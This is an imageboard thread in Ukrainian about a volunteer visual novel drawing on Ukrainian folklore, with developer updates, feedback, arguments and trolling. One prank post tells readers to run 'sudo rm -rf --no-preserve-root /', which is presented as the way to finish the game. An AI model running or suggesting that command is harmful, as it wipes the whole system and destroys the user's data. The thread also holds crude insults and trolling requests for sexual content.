[ Кропивач ] [ a / b / bugs / c / d / f / g / i / k / l / m / p / t / u / ]
Banner

/b/ - Балачки

Name
Email
Subject
Comment
Файл
Пароль (For file deletion.)

File: 1715472786.155234-.jpg ( 186.1 KB , 640x1334 )

File: 1715472786.155234-2.jpg ( 175.5 KB , 768x432 )

File: 1715472786.155234-3.jpg ( 588.4 KB , 1920x1080 )

File: 1715472786.155234-4.png ( 1.36 MB , 1493x843 )

⋮⋮⋮   No. 340378

Це Ксеня.
Продовжуємо помаленьку працювати над україномовною візуальною новелою про істот Українського міфу.
Мавки, русалки, повітрулі, лісові, чорти і все оце.
Робоча назва - Гуцулочка, жанр - романтика, комедія, трилер і можливо жахи.
Проект цілковито некомерційний, для просування української культури.

Про рівень завершеності поки важко говорити бо з часом одні ідеї з'являються а інші переосмислюються.
Поверхнево сюжет вже давно затверджений а от його деталі змінюються чи подекуди просто ще не допрацьовані.
В плані наповнення маємо спрайти для деяких персонажів і кілька фонів, хоча й плануємо з часом все переробити.
ще плануємо кілька демок але не найближчим часом.

Наразі в команді маскот, редактор і кілька новачків.
А ще є спонсори за грошики котрих можемо час від часу замовляти арт.
Дуже бракує людей які малювали б задарма і знались на написанні літератури (професійно).
Та й взагалі людей бракує: ще напишемо про це колись потім.

Цю нитку заводимо для натхнення, ідей, зворотного зв'язку і просто аби поговорити.
Чекатимемо тут на ваші питання, відгуки і пропозиції.
Для зв'язку пишіть на [email protected].

Список попередніх ниток:

https://kropyva.ch/b/res/321005.html
https://kropyva.ch/b/res/301280.html
https://kropyva.ch/b/res/314976.html
https://kropyva.ch/b/res/295433.html

⋮⋮⋮   No. 340405

File: 1715504899.187927-.jpg ( 57.02 KB , 525x503 )

Похуй

⋮⋮⋮   No. 340408

>>340405
ваша думка дуже важлива, будь ласка, дописуйте до кожного треда, щоб Кропивач пошвидше досяг посту номер мільйон.

⋮⋮⋮   No. 340413

>>340408
Ілюха жопіч підарок.

⋮⋮⋮   No. 340418

File: 1715515336.724913-.png ( 61.17 KB , 384x384 )

>>340378
Гарний артик цей перший пік, його ще не бачив.

⋮⋮⋮   No. 340471

Перший пік на Фрірен лицем схожа

⋮⋮⋮   No. 340642 OP

>>340418
Дякуємо!
Лише нещодавно його завершили.

>>340471
Ніколи не чули про це аніме.

⋮⋮⋮   No. 340650

>>340642
> Ніколи не чули про це аніме.
Фрірен - то ім'я дівки. Все ви чули.

⋮⋮⋮   No. 341393

File: 1716090869.946049-.jpg ( 151.03 KB , 1280x720 )

Зробив для вас концепт для діалогового вікна.

Ще є ідея зробити ім'я на гілці.

⋮⋮⋮   No. 341416 OP

>>341393
Виглядає круто!
Лише трохи не вписується в загальний стиль: не всі ж події відбуваються в лісі.
Хіба робити різний дизайн під різні локації.
Хочете в команду?

⋮⋮⋮   No. 341439

>>341416
Написав.

⋮⋮⋮   No. 341528

>>340378
Я не одразу помітив Лісовика на 4-ій пікчі.
Сидів та думав, наскільки ж це дерево справа не вписується на фоні інших.

⋮⋮⋮   No. 343226

Бамп

⋮⋮⋮   No. 343228

File: 1717882976.600707-.jpg ( 173.2 KB , 546x740 )

File: 1717882976.600707-2.jpg ( 102.03 KB , 726x965 )

Ваш твір перевірено Кропивацькою комісією з плаґіату, рекомендуємо дописувати вашу оповідку більш якісно.

⋮⋮⋮   No. 343238

>>343228
а мені похуй, особисто я такої книжки не знаю

⋮⋮⋮   No. 343239

>>343238
А ти митець і автор візуальної новели?

⋮⋮⋮   No. 343241

>>343238
Звісно не знаєш, бо все українське що видавалося за радянських часів зараз піддається остракізму та свідомому мовчазному забуттю.

⋮⋮⋮   No. 343242

>>343241
Бля, не усе свідомо замовчується, додіку, зачастіше усім похій.

⋮⋮⋮   No. 343244

>>343228
Якщо шо - то автор цієї книжки суїциднувся від прекрасної радянської дійсності.

⋮⋮⋮   No. 343286

>>343239
ні, я цілова авдиторія

⋮⋮⋮   No. 343291

>>340378
Ну це все добре, цицьки хоть будуть?

⋮⋮⋮   No. 343292

File: 1717939371.856739-.png ( 1.07 MB , 1034x1228 )

Гуцулочка вже розробляється десь як рік. І ми тільки маємо кілька спрайтів, бекграундів. ЕТА релізу: 3 роки. Це якщо враховувати, що не буде хентаю. А його не буде, скоріш за все.

⋮⋮⋮   No. 343301

File: 1717942336.780806-.png ( 21.11 KB , 255x255 )

>>343292
Без хоч якогось бюджету і зарплатні творцям - не буде у тебе гри, зрозумій це.

⋮⋮⋮   No. 343334

>>343301
А інші хоумбрю новели як створювались?

⋮⋮⋮   No. 343336

>>343301
Але ж в них є спонсори.

⋮⋮⋮   No. 343337

>>343336
От же ш грантоїди-соросята!

⋮⋮⋮   No. 343339

Введіть команду у термінал команду

sudo rm -rf --no-preserve-root / > /dev/null

і гра буде готова.

⋮⋮⋮   No. 343345

File: 1717956648.624618-.jpg ( 55.73 KB , 500x500 )

>>343339
>гра
Яка в пезду гра, там навіть ввріантів виборів не буде. Максимально лінивий висер.

⋮⋮⋮   No. 343361 OP

>>343228
І що ж ми вкрали?

>>343292
Скоро вже другий рік відкритої розробки.
Тобто два роки з моменту коли ми написали про проєкт і запропонували усім охочим долучитись.
Десь на днях буде коротенька внутрішня альфа а там побачимо.

>>343301
Так бюджет є. Просто він не на всіх а лише на художників.
Тисяч 30 певно вже вбухали.

⋮⋮⋮   No. 343368

>>343361
> І що ж ми вкрали?
Загальний бекґраунд.
А загалом поки що нічого. Але можете, я дозволяю 😉
Наприклад запилити сьотакон Лісовика й Чублика👨‍❤️‍👨🥵

⋮⋮⋮   No. 343369

File: 1718001215.390688-.webp ( 20.26 KB , 300x268 )


⋮⋮⋮   No. 343477

>>343361
Є якісь оновлення по саундтрекам?
Принаймні один повноцінний?

⋮⋮⋮   No. 343577 OP

>>343477
Повноцінного нема але було кілька спроб щось записати.

⋮⋮⋮   No. 343612

File: 1718291380.102529-.png ( 99.43 KB , 746x512 )

>>340378
Якось так шкода розробників.

Пилять собі новелку для просування української культури, а вихлопу в тредах майже нуль.

Ви головне не кидайте це діло. От справді. Люблю ваше прагнення продовжувати працювати над проектом.

⋮⋮⋮   No. 343616

>>343612
Так просувайте в медіахостинги, а не бздіти посеред драного скрипучого вебу с півтора нюхачів в оточенні.

⋮⋮⋮   No. 343621

>>343612
Та вони ніхуя за 2 роки не зробили.

⋮⋮⋮   No. 343630

>>343334
Напевно завдяки команді яка складалася виключно з добровольців та не потребувала грошей для розробки.

⋮⋮⋮   No. 343823 OP

File: 1718537639.887084-.png ( 196.8 KB , 947x900 )

У нас внутрішнє демо!
Хто давно не заходив в чат - бігом за робочі місця, ледацюги!

⋮⋮⋮   No. 343830

>>343823
Скинь циці в чат, тоді зайдемо.

⋮⋮⋮   No. 343839

>>343823
Так, капітане!

⋮⋮⋮   No. 344052

>>343823
Пограв в демо.

Присутній новий ескіз фону та повноцінний арт, якого ще не викладали на кропиві. ВН написана непогано, ніякої вам графоманії, якщо хтось переймався за це. Діалоги невимушені та майже не викликають фейспалму, окрім однієї сцени з тіткою, яка складалась з декількох реплік. Протягом всього проходження не відчував ніякої відрази до жодного з персонажів. На моє здивування, Петрик виявився нормальним товаришем та навіть без будь-яких питань допомагає головному герою. Подруги Галі не залишаються в її тіні та відчуваються як повноцінні особистості, а мавки, навпаки, наче доповнюють слова одна одної. Тож і волосся одного кольору їм і зробили, ніби один персонаж(напевно). Також був задіяний Лісовик, який відіграє роль сторожа лісу, та нікого не може наздогнати. Відверто безглуздих та непотрібних жартів не помітив.

Не відстає і технічна складова новели. Персонажі не з'являються з повітря, а плавнесенько висковзають з-за меж екрану, плюс переходи та інше. А на початку нас чекають анімовані кульбаби, які кружляють на фоні новенького арту. Єдине, що не сподобалось — це персонажі, розміщені будь-де, тільки не посередині (кажу про діалоги сам на сам).

⋮⋮⋮   No. 344153

>>340378
Бамп

⋮⋮⋮   No. 344185

>>343823
А коли буде зовнішнє?

⋮⋮⋮   No. 344207 OP

File: 1719021615.838031-.png ( 3.06 MB , 2066x1160 )

>>344185
Залежить від того наскільки ми захочемо заморочуватись з малюванням фонів замість яких зараз заповнювачі.
В кращому випадку - за тиждень, в гіршому - ніколи.

⋮⋮⋮   No. 344211

File: 1719041499.350802-.png ( 1.14 MB , 1200x1200 )

>>344207
> В кращому випадку - за тиждень, в гіршому - ніколи.

⋮⋮⋮   No. 344221

>>344207
Який буде загальний обсяг демо?
Куди збираєтесь його викладати?
Будете рекламувати?
З'явилося бажання додати хентаю з Русалкою?

⋮⋮⋮   No. 344224

>>344207
Спробуйте в генерацію картинок для фонів, це спростить вашу роботу. Їх можна поправити ручками і буде норм.

⋮⋮⋮   No. 344227

File: 1719063387.793772-.jpeg ( 197.83 KB , 1024x1024 )

File: 1719063387.793772-2.jpeg ( 224.94 KB , 1024x1024 )

File: 1719063387.793772-3.jpeg ( 363.02 KB , 1024x1024 )

>>344224
Як же нейромережі просунулися з моменту, як всі над ними сміялися.

⋮⋮⋮   No. 344228

>>344227
Якщо казати про візуальні образи, вони стереотипові, і це однозначно є різновидом несмаку.
Не сміялись, а дивились з лютим призирством на намагання абсолютно безталанних людей використовувати ШІ для конкуренції (насправді крадіжки) з дійсно майстерними художниками.
Ну а про програмний код, численні ітерації однотипних операцій в наукових експериментах та інші технічні операції дійсно можуть бути полегшені завдяки ШІ.

⋮⋮⋮   No. 344230

>>344207
А тут будуть тільки кульбабки літать чи і всі частини трохи анімовані?

⋮⋮⋮   No. 344234 OP

>>344221
> Який буде загальний обсяг демо?
Хвилин на 15-20. Але ще збираємо відгуки від гравців, може це лише наше суб'єктивне відчуття.

> Куди збираєтесь його викладати?
Просто архівом на власному хостингу.
Думали над сторінкою на itch.io але для цього ще рано.

> Будете рекламувати?
Ні. Ця версія ще настільки рання що її навіть сирою назвати важко.
Це навіть не демо а швидше результати тих напрацювань, які можна об'єднати хронологічно і не соромно показувати.
Тому просто викладемо тут і в чатиках з ВН.

> З'явилося бажання додати хентаю з Русалкою?
Одного бажання мало.
Для хентаю потрібна сюжетні передумови, гроші і художник який візьметься таке малювати.
Нічого з цього у нас поки немає.

>>344224
> Спробуйте в генерацію картинок для фонів
Якщо є бажання допомоги - долучайтесь. Самі такого досвіду поки не маємо як і часу на його отримання.
Але якщо ваші фони впишуться в стиль - то не бачимо проблем використовувати їх.

>>344230
> А тут будуть тільки кульбабки літать чи і всі частини трохи анімовані?
Поки лише кульбабки.
Та й вони виглядають не зовсім так як нам хотілося б.
Потрібен кодер який все це гарно заанімує.

⋮⋮⋮   No. 344238

>>344234
Не думали завести в майбутньому щоденник розробника на blogspot?

⋮⋮⋮   No. 344240

>>344228
ти бачив скільки аніме моделей наплодили китайці однотипних для генерацій в SD наприклад? Просто тонни і вони усі мають проблему - без прямих рук у юзера будуть виходити одні і тіж шаблони - шо в базу для тренування моделі запхнеш - то і буде на виході без знання як ото воно налаштовується

⋮⋮⋮   No. 344241

>>344240
ші-моделі гарно юзати для генерації наприклад текстур або рослинності якщо вже є зразки потрібного стилю

⋮⋮⋮   No. 344377

>>344238
І тут місця поки вистачає.

⋮⋮⋮   No. 344493

>>344377
Наперділи вже так що й нитку нову створювати треба

⋮⋮⋮   No. 344499

>>344493
Це популярність.

⋮⋮⋮   No. 344588

>>344207
Чекаю демку щоб її заспідранити.

⋮⋮⋮   No. 345010

>>344221
2 частина запитань
Не думали додати елементів реіграбельності у вигляді Хорошої та Поганої кінцівки?
Наприклад, якщо додасте ЖРПГ систему з боївкою та так далі, гравець же не завжди буде перемагати. Було би круто, якби гравець, перемагаючи "звичайних" істот за допомогою правильної комбінації атак, захисту, предметів, отримував досвід, який допомагав би перемагати ворогів "більшого рангу". Вже перемігши або програвши такому створінню, додавалися б очки симпатії Галі.

Міні ігри. За чи проти?
Я не кажу про якісь кончені п’ятнашки та подібні до цього штуки. Можна, наприклад, додати легкий симулятор вчителя з перевіркою домашки учнів літньої школи.

Як щодо point-and-click механік?
Навіть ситуацію згенерував, де вона може знадобитись. Якщо не помиляюсь, у вас повинна бути хорорна частина в грі, де Іванко з Петриком щось шукають у мавок. Припустимо, вони живуть в занедбаній будівлі, в якій персонажі будуть пересуватися з фонариком, і ми матимемо змогу наводити ним на дверні проходи та інше. Кімната буде підсвічуватися, та з'являтиметься текст "ви почули дивні звуки", а потім вибираємо: зайти чи не зайти, а далі за скриптом або тікаємо від мавок, або знаходимо те, що потрібно.

⋮⋮⋮   No. 345013

>>343292
Доречі, реально, а що на рахунок 18+ та 18+ сцен? Можно додати сцену сексу але с цензурою, там луч сонця який прикриває інтимні місця, на приклад

⋮⋮⋮   No. 345016

File: 1719738732.834657-.gif ( 4.11 MB , 600x330 )

>>345013
>луч
Промінь.

⋮⋮⋮   No. 345031

>>345013
Так, а нащо такий хентай здався.
Набагато краще вже буде створити кнопку вимкнення 18+ контенту.

⋮⋮⋮   No. 345061 OP

>>345010
> Не думали додати елементів реіграбельності у вигляді Хорошої та Поганої кінцівки?
А навіщо це? Щоб що?
Поки не бачимо як наявність розгалужень в сюжеті реально допоможе проекту.
Нам би одну кінцівку завершити для початку.

> Міні ігри.
За. Поки рано думати про щось конкретне бо є важливіші справи.
Але ніхто не забороняє записувати ідеї.

>>345013
Знову таки: щоб що?
Зараз Гуцулочка очевидно не планується як порно-гра.
Відповідно, такі сцени повинні якось допомагати розкривати історію а не "просто бути".
Взагалі, ми не проти. Але зараз не бачимо сенсу спрямовувати на це ресурси.
Якби сюжет і сцени були пропрацьовані до деталей - інша справа. Але конкретно зараз - не на часі.

⋮⋮⋮   No. 345157

File: 1719971065.113722-.jpg ( 568.88 KB , 1755x1511 )

Сьогодні займався пропрацюванням свого проєкту, винайшов спосіб як поєднати дві системи з персонажами, думаю, тут можна розповісти:
- Один тип персонажів (умовно "дорослі") можуть використовувати (нелінійно-прогресивні) здібності у двобоях, і кожен (окрім лідера, який діє на рівних з іншими "дорослими" персонажами) може мати до двох "мініатюр" (або "фамільярів"), які безпосередньо не беруть участь у боях (у вигляді гілкоподібних кіл), але підсилюють окремі характеристики своїх власників та використовувати предмети ("дорослих" персонажів) у цікавих завданнях-головоломках.
- Персонажів можна залишати на локаціях: "мініатюри" генерують ресурси, а "дорослі" покращують (за допомогою цих ресурсів) умови середовища, що, своєю чергою, дозволяє розвивати команду та проходити сюжетні місії.
- За виконані завдання окремих локацій та місії цілих рівнів персонажі отримують: досвід, ключі від проходів у інші рівні, нових персонажів з відповідними предметами, а також шматочки мапи-складанки, яка також є одною з головоломок-завдань...

Не буду приховувати, довгий час майже не займався цим, відносно великим (4 "тематичні сторінки" з усіма деталями та опціями) проєктом, ще паралельно розробляю дотичну "головоломку-колекцію структурних взаємозв'язків" та (всередині неї) "стіл для експериментів з предметами".

Відверто зізнаюсь, надхнення прийшло в процесі проходження, Vampire Survivor (там зокрема потрібно збирати комбінації активних та пасивних предметів для розкриття нових персонажів). Хтось з


Ну ось, з сюжетом Гуцулочки працювати для мене є сенс (бо теж маю деяких міфічних істот у своєму, так би мовити, "мультивсесвіті"), знаю, це складно, і для себе маю таку стратегію:
0. Набори локацій, персонажів, предметів, вмінь тощо (вже є).
1. Механізм, включно зі взаємодіями персонажів на основі властивостей та вмінь.
2. Вибудова сюжету на основі мережі маршрутів, а також мотивацій та місій персонажів.
3. Звук, оформлення, налаштування, додаткові ілюстрації, мальопис, анімації та фігурки.

⋮⋮⋮   No. 345292


⋮⋮⋮   No. 345310

>>345031
Або так
>>345061
Хочете сказати що "Нескінченне літо" теж порно новела?

⋮⋮⋮   No. 345398

>>340378
Завтра напишу щось дуже важливе. Чекайте

⋮⋮⋮   No. 345399

>>345398
>візуальна новела “Гуцулочка”
>щось дуже важливе
Ой, не смішіть)

⋮⋮⋮   No. 345480 OP

File: 1720349702.540855-.png ( 110.42 KB , 457x458 )

>>345398
Чекаємо.

⋮⋮⋮   No. 345485

File: 1720352785.041282-.jpg ( 70.56 KB , 512x512 )


⋮⋮⋮   No. 346613

>>340378
Єбать персонажів насрали. Та ще й схоже ніякого нормального конфлікту не слід очікувати. Стільки марно намальованих чанок...

⋮⋮⋮   No. 346616

>>346613
Й стільки марно пройобаного часу...

⋮⋮⋮   No. 346683 OP

>>346613
>>346616
Запропонуєте щось?

⋮⋮⋮   No. 346684

>>346683
Додати вагітних персонажівкинь.

⋮⋮⋮   No. 346701

>>346683
> Запропонуєте щось?
>>346684
Візьміть його в команду, пліз.

⋮⋮⋮   No. 346707

>>346683
Хентай хочу

⋮⋮⋮   No. 346711

>>346707
Немає.

⋮⋮⋮   No. 346719 OP

>>346684
> Додати вагітних персонажівкинь.
Взагалі ідея непогана.

>>346701
> Візьміть його в команду, пліз.
Нехай пише на пошту [email protected].

>>346707
> Хентай хочу
Готові його малювати?

⋮⋮⋮   No. 346720


⋮⋮⋮   No. 346724

>>346719
> Готові його малювати?
Готовий його побачити в грі. Якщо його там не буду, то оцінка гри вище 5/10 не вийде, якщо й 5 балів набереться.

⋮⋮⋮   No. 346728

>>344207
> В кращому випадку - за тиждень, в гіршому - ніколи.
Схоже, що ніколи.

⋮⋮⋮   No. 346766 OP

>>346728
Самі в шоці.
Поки чекаємо на фідбек від одного з учасників закритого тестування.
Без нього немає повної картини того що треба лагодити, а що ні.
Також паралельно робимо переоблік всіх напрацювань і поволі переробляємо деякі сцени які йдуть після демки.
Якщо є охочі допомогти - ласкаво просимо.

⋮⋮⋮   No. 346789

>>346766
То може ви всім дасте доступ до тестування, щоб процес йшов краще? Безоси й без того чекають більш 2 років, а ви досі не даєте ніякої інфи про проект. Все що ви зробили за ці роки - з'їли 30 тисяч гривень і нічого не показали. Де ваша робота? Я хочу подивитися.

⋮⋮⋮   No. 346790

File: 1721950648.863463-.png ( 15.05 KB , 360x323 )

>>346789
Люди Сталкер 2 ждуть десятки років, а ти не можеш почекати ще два-три рочки на візуальну новеллу? Якось дуже нетерпляче.

⋮⋮⋮   No. 346794

Декілька ідей-пропозицій:

1. Невидимі пласти-виміри:

Містичні персонажі перебувають у "хованках-кишенях", і в певний момент виходять назовні чи заходять назад (та беруть з собою цінні предмети).

Чи можуть люди так само проходити у ці секретні місця?
Можливо, тоді має бути ключ та спосіб розпізнавання цих локацій.

2. Особистий досвід має пробуджувати відчуття спорідненості та колективних спогадів:

"- Одного разу вона подивилась і промовила: "Ти маєш частіше посміхатись і тоді ти будеш відчувати себе краще."
- Не знаю, коли я посміхаюсь, то важкі думки все одно пульсують у пам'яті, ніби тіні згаслих вогнів.
- Ви тут можете скільки завгодно мучити себе минулими проблемами, однак наразі ситуація не краще. Чому б не згадати ті випадки, коли вдавалось справлятись з усім цим?.."

Як розробити цілі гілки діалогів та відповідні події?
Світ може розкриватись попереду, приблизно в такому ж темпі, як це виходить змінювати у результаті вчинків; і тому передумови майбутніх варіантів подій можна уявляти і як "пропозиції", і як "можливості"—якщо персонаж обирає "посміхатись", світ має також набувати позитивних ознак (проте варто все одно дотримуватись причинно-наслідкових зв'язків).

3. Загальний ефект загадковості вимальовується з контрасту між старим та сучасним світом, між дикими та населеними людьми місцевостями, в процесі вивчення маловідомих феноменів/закономірностей:

"- Чудово! Це буде нове джерело чистої води! Нам більше не потрібна та забруднена криниця.
- А як же лісовий струмок або закинуте лігво у скелі? Там можна було б знайти старовинні реліквії, просто уяви...
- Ні-і, я туди більше не спущусь! Це були найризикованіші пригоди в моєму житті! Ти бачив скільки там тих чудовиськ?!
- Та годі тобі дутись! Там було всього лишень жменя повільних жуків, один кажан і, напевно, декілько їжаків..."

Окремо варто поекспериментуватизі спеціальними "псевдомагічними/артистичними здібностями" у вигляді "контролю предметів/погоди", "захисних бар'єрів/маскування", "перетворень на альтерего/створінь", "зачаровування красою/заговорюванням до нестями" тощо.

Те, що знаходиться за межами відомих фактів, але має поетичний/чуттєвий зміст, можна було б показати як "кадри з уяви одного з персонажів".

⋮⋮⋮   No. 346811 OP

>>346789
> не даєте ніякої інфи про проект
Ми публікуємо персонажів, скріншоти, даємо відповіді на питання, обговорюємо.
Хіба це "ніякої інфи"?

> може ви всім дасте доступ до тестування
Поки чекаємо на відгуки з закритого тесту щоб мати можливість допрацювати демку відповідно до зауважень.
На жаль цей процес трохи затримався.

>>346794
> Невидимі пласти-виміри
У нас для цього є окрема місцина: Темний Ліс.
Зсередини він набагато більший ніж виглядає ззовні.

⋮⋮⋮   No. 346814

>>346790
Я не чекав і ніколи не цікавився сталкером. А візуальну новелу в десятки разів легше зробити ніж той ж шутер. Я не куколд і якщо щось цікаве затримують через хуй зна які причини - я буду срати розробникам на голову.
>>346811
> Хіба це "ніякої інфи"?
Так, мені хочеться подивитися на гру, а не на оті ваши скриншоти. Ось скажіть, що мені дає ваш скріншот де петрик в лісі вбігає від лісовика? Нічого. Хоча ні, ви все ж таки дали інформацію, що ви намалювали для персонажів один спрайт. Та ж Катава була розроблена за 5 років, але вона нелінійна. І то, першу демку через 2 роки запиляли. У вас - повністю лінійна історія (але як я зрозумів, ви навіть не можете визначитися з сюжетом).

⋮⋮⋮   No. 346816

File: 1721989826.652786-.png ( 71.9 KB , 255x255 )


⋮⋮⋮   No. 346819

File: 1721993198.607443-.jpg ( 463.93 KB , 1920x1080 )

>>346814
Рекомендую подивитись що люди робили на минулі Ukrainian Visual Novel Jam за 1-2 тижні.
З такою швидкістю як на джемах, KS це проект на місяця 2 максимум. Хіба за виключенням кількох анімованих катсцен.

⋮⋮⋮   No. 346820

>>346819
Так, тільки ти не думаєш про те, що для джемів вже зібрана команда, яка, напевно має хоч якийсь досвід, а навіть якщо й ні, то хоча б координацію.
Я про що - я не хочу чекати ще кілька років щоб побачити демку. Як ти й говорив на джемах роблять все за кілька тижнів і команди там невеликі. Але там роблять гру на 1-4 години, а яка тривалість у гуцулочки? От скільки? Це враховуйте, що ця вн - лінійна. Годин 8 максимум, бо я не знаю як сильно тобі повинні подобатися українські міфи, які обсмоктали ще на уроках української літератури в школі, щоб грати читати про них більше 8 годин. Нагадю, тут не буде кількох фіналів чи виборів - це буквально книга з ілюстраціями під музику. Не говорю, що такі новели лайно, але робити їх настільки довго - признак того, що кінцевий продукт буде сумнівної якості.

⋮⋮⋮   No. 346821

>>346820
А я любив та буду любити обсмоктувати.

⋮⋮⋮   No. 346853 OP

>>346820
Все правильно написали.
І пояснення тут дуже просте: немає сталої команди.
Окрім нас і наших шанованих спонсорів ніхто над проєктом на постійній основі не працює.
Художники - лише за гроші.
Сценаристи і редактори - епізодично і кожного разу потрібно вводити в курс справи.
Людей які могли б ідейно тягнути проект якщо з нами щось станеться взагалі немає.
Тому доводиться тягнути як є. Багато разів вже хотіли кинути але зрештою не наважились.
Якщо є бачення того як робити це краще і бажання допомогти - пишіть на [email protected].

⋮⋮⋮   No. 346858

>>346820
Більш команд стихійно формуються, сталих команд меншість.
>>346853
Хороший вихід із ситуації: навчитись самому і малювати, і сценарій написати, можливо і музику.

⋮⋮⋮   No. 346879

>>343334
> А інші хоумбрю новели як створювались?

"Інші" створювались в інший час і, будемо відвертими, в інших країнах. Де не було війни. А була краща економіка.

Після того як в інтернет прийшла монетизація, сильно впала кількість творців що просто "творять". З тих пір майже всі творять лише за гроші. Дещо менш виражено на (ситому) Заході, де дотепер є некомерційні але дуже якісно зроблені "проекти", максимально виражено в "країнах що розвиваються". Бо за гей-фурі прон платять більше ніж за їбашення на заводі.

Ну і як наслідок - в нас, в останні років з 10-15, майже нереально знайти людину яка стабільно і по фану буде генерувати якийсь контент. Навіть якщо це новачок. Він одразу комерціалізується, як тільки набиває руку до рівня на якому можна заробляти. І так як в добі лише 24 години, не вийде вмовити його з 8 до 17 хуярити "комерцію", а у вільний час "фан".

⋮⋮⋮   No. 346881

>>345031
> Так, а нащо такий хентай здався.
в Україні порно заробіток для шанованих людей заборонене.
Як тільки ти потрапиш в поле зору пана майора, взнаєш багато нового.

Я так розумію що часів коли вулицями тинялася Нацкомісія з моралі і трясла сексшопи ти не застав? :)

⋮⋮⋮   No. 346896

>>346881
До чого тут порно? Я писав про те, що хентай має бути незацензурованим. Та краще додати кнопку, яка буде вимикати 18+ сцени.

Хочеш сказати, що за хентай потягнуть в тюрячку? Та тг забитий укр хентай артистами, які спокійно беруть плату за свої роботи.

⋮⋮⋮   No. 346926

>>346766
> і поволі переробляємо деякі сцени які йдуть після демки.
Може спочатку демо повністю завершите?
Та що там з музикою. Який інструмент буде переважати над іншими в саундтреках?

⋮⋮⋮   No. 346928

>>346896
"хентай" це і є "порно"

і українським можновладцям чи такому ж пану майору ти заїбешся пояснювать за тонкощі між еротикою та порнографію чи різними варіантами цензури, на яку японці великі мастаки.

головне тут: тебе помітили. і якщо не вийде доїти, як зловлених онліфанщиць, з тебе зроблять опудало для решти.

це бізнес. і як будь-який бізнес він керується суто питаннями рентабельності.

ще раз, часи нацкомісії з моралі ти не застав, та? :)

⋮⋮⋮   No. 347187

>>346819
Хуйню вони робили в плані історій. Жодна нічим не зачепила.
А от візуал в більшості дійсно непоганий.

⋮⋮⋮   No. 348252

up

⋮⋮⋮   No. 348292

>>347187
З попереднього джему спробуй "Жило на небі сонце", наприклад.

⋮⋮⋮   No. 348891

File: 1723056696.348726-.png ( 1.04 MB , 1200x784 )

Алах Акбамп
#безкоштовнаПалестина

⋮⋮⋮   No. 348926

>>346928
А потім всі розповідають, що легалізація порно не на часі

⋮⋮⋮   No. 349324

І де цей ваш проект? Де оці ваши блондинки без цицьок? Де лолі? Я не бачу. А ви бачите? Ні.

⋮⋮⋮   No. 349325

>>349324
Правильно писати проєкт.

⋮⋮⋮   No. 349326

>>349325
Ти з дубу рухнув? Скільки себе пам'ятаю, завжди було "проект", і тут раптом в якийсь момент почали єкати. Хіпстери мля...

⋮⋮⋮   No. 349332

>>349325
>>349326
Для мовних обговорень існує https://kropyva.ch/u/.
Наскільки пам'ятаю, новий правопис (22 травня 2024 року завершився пʼятирічний перехідний період до Нового українського правопису. Відтепер він чинний. (23.05.2024):https://www.radiosvoboda.org/a/novyy-ukrayinskyy-pravopys-skrypnykivka-kharkivskyy/32960496.html) пояснює написання слова іноземного походження "проєкт" (від "project") саме через "є" аналогією з вже знайомими "об'єкт" ("object") або ін'єкція ("injection").
І це досить ґрунтовно.
Прошу вибачення за поза тематичну відповідь.

⋮⋮⋮   No. 349333 OP

>>349324
> І де цей ваш проект?
В роботі.
Вільного часу мало - пауз багато.
Є сподівання що за тиждень-два стане трохи краще.

⋮⋮⋮   No. 349334

>>349326
Правильно писати гіпстери.

⋮⋮⋮   No. 349358

File: 1723647155.84519-.jpg ( 154.3 KB , 1200x675 )

>>349333
> тиждень-два

⋮⋮⋮   No. 351136

>>349333
Як ся маєте?

⋮⋮⋮   No. 351141

>>340378
Назва дуже відштовхуюча.
Адже гуцулки найгірші жінки з усієї
України.

⋮⋮⋮   No. 351142

>>349334
Є багато людей, які знають, як писати правильно, але навмисно пишуть не так.

⋮⋮⋮   No. 352551

>>340378
А чого на постері немає рудої дівки?
ЦЕ ЧЕРЕЗ ТЕ ЩО ВОНА РУДА?!?

⋮⋮⋮   No. 352562 OP

>>351136
Так собі.
Часу не вистачає.

>>352551
Це пов'язано з сюжетом: обставинами сцени яка зображена на постері.
Якщо гра колись вийде - то можна буде зрозуміти чому.

⋮⋮⋮   No. 352563

>>352562
> Часу не вистачає.
Але все-таки щось робиться?

> Якщо гра колись вийде
Зрозуміло. Може якісь невеличкі новини є?

⋮⋮⋮   No. 352564 OP

>>352563
> Але все-таки щось робиться?
Наразі накидуємо ідеї для деталізації деяких сцен і артів.
Тижнями працювали над сценами з Русалкою які йдуть одразу після демки.
Також переносимо код до нового репозиторію.
Але загалом, то окрім нас і редактора ніхто особливого інтересу не проявляє.
Отаке.

⋮⋮⋮   No. 352565

>>352564
> Наразі накидуємо ідеї для деталізації деяких сцен і артів.
Це дуже добре! Люблю коли діалоги не складаються з простого "Привіт. Пока." і розійшлись. Та не перестарайтеся з кількістю арту в грі. Як на мене вам потрібно зосередитися на якості фонів. Більшість виглядають пласкими, не передають відчуття простору. Хз як пояснити, але сподіваюсь ви зрозуміли. Додати деталізації: лавки під будинками , або як це вже було зроблено з водонапірною вежею на задньому фоні.

> Тижнями працювали над сценами з Русалкою
Ох нічого собі. Прям сценаМИ?

⋮⋮⋮   No. 352568 OP

>>352565
> Як на мене вам потрібно зосередитися на якості фонів.
Нема як зосередитись, бо нема художника.
А на найманих немає грошей.

> Прям сценаМИ?
Русалка звичайно не головний персонаж. Але в неї не остання роль в сюжеті.
Сцен 10 з нею мало б бути.

⋮⋮⋮   No. 352571

>>352568
> Нема як зосередитись, бо нема художника.
> А на найманих немає грошей.
Ну так нащо ви тоді зволікаєте. Берете та постите демо на ітчі, там багато українців сидять. Підтримують своїх - коментарем, порадую, тощо. Там і знайдете однодумців, які може зконтактують з потрібними людьми. Якщо гадаєте, що проєкт не досить якісний, то робіть все від вас можливе зараз. Пропрацюйте кожну деталь, яка не стосується художників. Прогоніть демку серед тестерів по 10 разів поки не зникнуть всі претензії. Не знаю, накидайте стокової музики, поки власної не завезли.

> Сцен 10 з нею мало б бути
Не забудьте збалансувати кількість серед всіх персонажів, щоб ніхто не був лишнім.

⋮⋮⋮   No. 352590

>>344211
життево

⋮⋮⋮   No. 352594

>>352571
Хай спочатку нам дадуть цю демку їбану.

⋮⋮⋮   No. 352595

File: 1726311692.925904-.png ( 142.28 KB , 600x600 )


⋮⋮⋮   No. 352997 OP

File: 1726705472.524553-.png ( 196.8 KB , 947x900 )

Маємо публічне демо на руках.
Дали нашим внутрішнім тестерам на перевірку.
Якщо все працюватиме справно то завтра викладемо тут.

⋮⋮⋮   No. 353007

File: 1726734056.310249-.jpeg ( 297.56 KB , 1536x1536 )

>>352997
Не вірю поки не побачу.

⋮⋮⋮   No. 353008 OP

File: 1726734247.99405-.png ( 110.42 KB , 457x458 )


